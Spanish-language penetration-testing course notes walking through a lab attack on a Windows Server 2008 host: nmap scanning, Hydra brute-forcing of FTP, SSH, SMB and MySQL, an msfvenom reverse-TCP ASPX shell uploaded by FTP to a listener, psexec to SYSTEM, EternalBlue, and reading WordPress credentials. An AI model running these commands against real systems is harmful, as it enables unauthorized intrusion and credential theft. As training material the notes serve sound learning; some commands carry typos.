Una prueba de penetración de caja negra es una evaluación de seguridad en la que el evaluador de penetración no recibe ninguna información sobre el sistema o la red de destino (no se proporcionan rangos de IP, información del sistema ni credenciales predeterminadas).
El objetivo de una prueba de penetración de caja negra es probar con precisión la seguridad de un sistema o red como un adversario externo sin privilegios.
Este enfoque es muy útil ya que demuestra cómo un atacante externo sin conocimiento interno comprometería los sistemas o redes de una empresa.
Penetration Testing Phases
El siguiente diagrama describe las distintas fases involucradas en una prueba de penetración típica.
Black Box Methodology
Host discovery
Port scanning & enumeration
Vulnerability detection/scanning
Exploitation
Manual
Automated
Post Exploitation
Privilege Escalation
Persistence
Dumping Hashes
Scenario & Scope
Acabas de comenzar tu primer trabajo como evaluador de penetración junior y te han asignado la tarea de ayudar a realizar una prueba de penetración en la red de un cliente.
El responsable de la prueba de penetración te ha asignado la tarea de obtener acceso/explotar un host que ejecuta Windows Server 2008.
Tus objetivos principales son:
Identificar los servicios que se ejecutan en el objetivo
Identificar las vulnerabilidades dentro de los servicios
Explotar estas vulnerabilidades para obtener un punto de apoyo inicial
Nota: Tienes permitido utilizar el marco Metasploit
Quiz: Windows Black Box Penetration Test
Port Scanning & Enumeration - Windows
Para realizar el escaneo de puertos, utilizamos nmap, una herramienta poderosa de escaneo de redes. Aquí hay un comando de ejemplo para escanear puertos abiertos:
nmap -sS -p- <objetivo>
Enumeración de Servicios
Una vez que hayas identificado los puertos abiertos, el siguiente paso es enumerar los servicios que se ejecutan en esos puertos. Por ejemplo:
nmap -sV -p <número_de_puerto> <objetivo>
Después de ejecutar los comandos anteriores, recibirás una lista de servicios y versiones que luego pueden ser revisados en busca de vulnerabilidades conocidas.
Demo: Port Scanning & Enumeration
# Identificar la IP del objetivo
# Validar la comunicacion una opcion puede ser haciendolo ping
# Identificamos los servicios comunes
# Realizamos un escaneo personalizado
nmap -T4 -PA -sC -sV -p 1-10000 10.0.22.85 -oX nmap_10k
# Probar conexiones con Netcat
nc -nv 10.0.22.85 21
# Ver y probar cada servicio indentificado
# Iniciamos metasploit
sf6 > workspace -a Win2k8
sf6 > workspace
sf6 > db_import / root/Desktop/Win2k8/nmap_10k
msf6 > hosts
msf6 > services
msf6 > search smb version
msf6 > use 0
msf6 auxiliary(scanner/smb/smb_version) > show options
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 10.0.22.85
msf6 auxiliary(scanner/smb/smb_version) > run
msf6 auxiliary(scanner/smb/smb_version) > services
# Otra opcion de escaneo
nmap -T4 -PA -sC -sV -p 1-65535 10.0.22.85 -oX nmap_all
Quiz: Port Scanning & Enumeration - Windows
Targeting Microsoft IIS FTP
Demo: Targeting Microsoft IIS FTP
nmap -sv -sc -p21,80 10.0.28.97
ls -al /usr/share/nmap/scripts/ | grep ftp-
nmap -sv -p 21 --script=ftp-anon 10.0.28.97
# Verificar el acceso anonimo
# Probar ataque de fuerza bruta
hydra -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/metasploit/unix_passwords.txt 10.0.28.97 ftp
# Tambien puede probar con una cuenta especifica y no asi con un diccionario
# Tambien el diccionario de usuarios puede ser utilizado como contraseñas
# Creamos un payload para IIS y FTP, el cual copila archivos ASPX
msfvenom -p windows/shell/reverse_tcp LHOST=10.10.16.2 LPORT=1234 -f asp > shell.aspx
# Transferimos el archivo por FTP con las credenciales obteneidas
msf6 > use multi/handler
msf6 exploit(multi/handler) > set payload windows/shell/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.16.2
msf6 exploit(multi/handler) > set LPORT 1234
run
# Pude modificar el sitio web
ftp > get index.html
# modificar el HTML
ftp > put index.html
Quiz: Targeting Microsoft IIS FTP
Targeting OpenSSH
Demo: Targeting OpenSSH
map -sv -sc -p 22 10.0.26.161
# buscar vulnerabilidad con respecto a la version del servicio
searchsploit OpenSSH 7.1
# Probar un ataque de fuerza bruta
hydra -l vagrant -P /usr/share/wordlists/metasploit/unix_users.txt 10.0.26.161 ssh
hydra -l administrator -P /usr/share/wordlists/metasploit/unix_users .txt 10.0.26.161 ssh
# Conexion por ssh con las credenciales encontradas
ssh vagrant@<Target>
# en caso de que el shell lo vea raro puede ejecutar
bash
/bin/bash
# Verificar los privilegios del usuario
msf6 > search ssh_login
msf6 > use 0
msf6 auxiliary(scanner/ssh/ssh_togin) > set USERNAME vagrant
msf6 auxiliary(scanner/ssh/ssh_togin) > set PASSWORD vagrant
msf6 auxiliary(scanner/ssh/ssh_togin) > set RHOSTS 10.0.26.161
msf6 auxiliary(scanner/ssh/ssh_togin) > run
# Ingresar a la session y salir para escalar privilegios
msf6 auxiliary(scanner/ssh/ssh_togin) > sessions -u 1
Quiz: Targeting OpenSSH
Targeting SMB
Demo: Targeting SMB
# Realizar un analisis para la deteccion del servicio
nmap -sV -sC -p 445 10.0.31.252
# Obtener las credenciales o obtener los nombres de usuario para realizar ataques de fuerza bruta
hydra -l administrator -P /usr/share/wordlists/metasploit/unix_users.txt 10.0.31.252 smb
hydra -l vagrant -P /usr/share/wordlists/metasploit/unix_users.txt 10.0.31.252 smb
smbclient -L 10.0.31.252 -U vagrant
smbmap -u vagrant -p vagrant -H 10.0.31.252
# Enumerar usuarios
enum41inux -u vagrant -p vagrant -U 10.0.31.252
# utilizando metasploit
msf6 > search smb_enumusers
msf6 > use 1
msf6 auxiliary(scanner/smb/smb_enumusers) > show options
msf6 auxiliary(scanner/smb/smb_enumusers) > set RHOSTS 10.0.31.252
msf6 auxiliary(scanner/smb/smb_enumusers) > set SMBUser vagrant
msf6 auxiliary(scanner/smb/smb_enumusers) > set SMBPass vagrant
msf6 auxiliary(scanner/smb/smb_enumusers) > run
# Puede auhtenticarse usando la herramienta PSEXEC y elevar sus privilegios
locate psexec.py
cp /usr/shaf/doc/python3-impacket/examples/psexec.py .
chmod +x psexec.py
python3 psexec.py Administrator@10.0.31.252
C:\Windows\system32> whoami
nt authority\system
# Tambien se puede hacer lo mismo desde metasploit
msf6 auxiliary(scanner/smb/psexec_toggedin_users) > search psexec
msf6 auxiliary(scanner/smb/psexec_toggedin_users) > use 4
msf6 exploit (windows/smb/psexec) > set RHOSTS 10.0.31.252
msf6 exploit (windows/smb/psexec) > set SMBUser Administrator
msf6 exploit (windows/smb/psexec) > set SMBPass vagrant
msf6 exploit (windows/smb/psexec) > exploit
# En caso de que no tibieramos ningunas credenciales nos toca buscar vulnerabilidades por SO
# El WIN2008R2 es vulnerable a EternalBlue y puedes usar un exploit para
Quiz: Targeting SMB
Targeting MySQL Database Server
Demo: Targeting MySQL Database Server
# Identificamos los serivicios
nmap -sv -sc -p 3306,8585 10.0.25.212
searchsploit MySQL 5.5
msf6 > search mysql_login
msf6 > use 0
msf6 auxiliary(scanner/mysqt/mysql_login) > show options
set RHOSTS 10.0.25.212
set PASS FILE /usr/share/wordlists/metasploit/unix_passwords.txt
run
# Test de conexion
mysql -u root -p -h 10.0.25.212
# MYSQL
MySQL [(none)]> show databases;
msf6 > search eternalblue
msf6 > use 0
msf6 exploit(windows/smb/ms17_010_eternatbtue) > set RHOSTS 10.0.25.212
msf6 exploit(windows/smb/ms17_010_eternatbtue) > exploit
meterpreter > cd www\\
meterpreter > ls
Listing: C:\wamp\www
# configuracion de wordpress
meterpreter > cat wp-config.php
# Para resetear la contraseña del Administrador de postgres se debe de hacer desde el MYSQL
# Ver configuracion
meterpreter > cd alias\\
meterpreter > ls
Listing: C:\wamp\alias
# Descargar el archivo de configuracion
meterpreter > download phpmyadmin.conf
# Modificar el Archivo
# Eliminar todo lo que sea prejudicial
<Directory "c:/wamp/apps/phpmyadmin3.4.10.1/" >
Options Indexes FollowSymLinks MultiViews
AllowOverride all
Allow from all
</Directory>
# Transferir el archivo
# Reiniciar el servicio
meterpreter > shell
C:\wamp\alias>net stop wampapache
C:\wamp\alias>net start wampapache
# Despues de ingresar al sitio de adminsitracion de base de datos
# Puede setear un password con hash MD5 una contraseña